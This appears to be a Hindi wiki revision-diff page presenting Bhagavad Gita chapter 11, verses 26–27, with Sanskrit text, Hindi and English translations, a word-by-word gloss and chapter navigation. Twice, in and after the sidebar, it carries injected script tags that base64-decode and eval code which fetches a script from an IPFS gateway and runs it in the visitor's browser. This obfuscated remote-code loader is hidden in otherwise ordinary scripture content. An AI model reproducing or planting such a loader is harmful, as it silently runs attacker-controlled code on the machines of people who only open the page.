"गीता 11:26-27" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति ४३: पंक्ति ४३:
 
</td>
 
</td>
 
</tr>
 
</tr>
</table>
+
<tr>
 +
<td>
 
<br />
 
<br />
<div align="center" style="font-size:120%;">'''[[गीता 11:24|<= पीछे Prev]] | [[गीता 11:28|आगे Next =>]]'''</div>  
+
<div align="center" style="font-size:120%;">'''[[गीता 11:24|<= पीछे Prev]] | [[गीता 11:28|आगे Next =>]]'''</div>
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>  
 
<br />
 
<br />
 
{{गीता अध्याय 11}}
 
{{गीता अध्याय 11}}
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 
{{गीता अध्याय}}
 
{{गीता अध्याय}}
 +
</td>
 +
</tr>
 +
</table>
 
[[category:गीता]]
 
[[category:गीता]]
 
__INDEX__
 
__INDEX__

०७:४४, २४ अक्टूबर २००९ का अवतरण


गीता अध्याय-11 श्लोक-26, 27 / Gita Chapter-11 Verse-26, 27


अमी च त्वां धृतराट्रस्य पुत्रा:
सर्वे सहैवावनिपालसंघै: ।
भीष्मो द्रोण: सूतपुत्रस्तथासौ
सहास्मदीयैरपि योधमुख्यै: ।।26।।
वक्त्राणि ते त्वरमाणा विशन्ति
दंष्ट्राकरालानि भयानकानि ।
केचिद्विलग्ना दशनान्तरेषु
संदृश्यन्ते चूर्णितैरूत्तमांग्ङै: ।।27।।



वे सभी धृतराष्ट्र के पुत्र राजाओं के समुदाय सहित आपमें प्रवेश कर रहे हैं और भीष्म पितामह, द्रोणाचार्य तथा वह कर्ण और हमारे पक्षके भी प्रधान योद्धाओं के सहित सब-के सब आपके दाढ़ों के कारण विकराल भयानक मुखों में बड़े वेग से दौड़ते हुए प्रवेश कर रहे हैं और कई एक चूर्ण हुए सिरों सहित आपके दाँतों के बीच में लगे हुए दीख रहे हैं ।।26-27।।

All those sons of Dhrtarastra with hosts of kings are entering you. bhisma, drona and yonder karna, with the principal warriors on our side as well, are rushing headlong into your fearful mouths looking all the more terrible on account of their teeth; some are seen stuck up in the gaps between your teeth with their heads crushed. (26,27)


अमी = वे; सर्वे = सब; एव = ही; अवनिपालसंघै: = राजाओं के समुदाय; सह = सहित; (विशन्ति) = प्रवेश करते हैं ; द्रोण्: = द्रोणाचार्य; असौ = वह; सूतपुत्र: = कर्ण(और); अस्मदीयै: = हमारे पक्षके; योधमुख्यै: = प्रधान योधाओं के; सह = सहित(सब के सब) त्वरमाणा = वेगयुक्त हुए; ते = आपके; दंष्ट्राकरालानि = विकराल जाड़ोवाले; भयानकालिन = भयानक; वक्त्राणि = मुखों में; विशन्ति = प्रवेश करते हैं(और); केचित् = कई एक; चूर्णितै: = चूर्ण हुए; उत्तमागडै: = सिरों सहित(आपके); दशनान्तरेषु = दांतों के बीच मेंय़; विलग्रा: = लगे हुए; संदृश्यन्ते = दीखते हैं



अध्याय ग्यारह श्लोक संख्या
Verses- Chapter-11

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10, 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26, 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41, 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>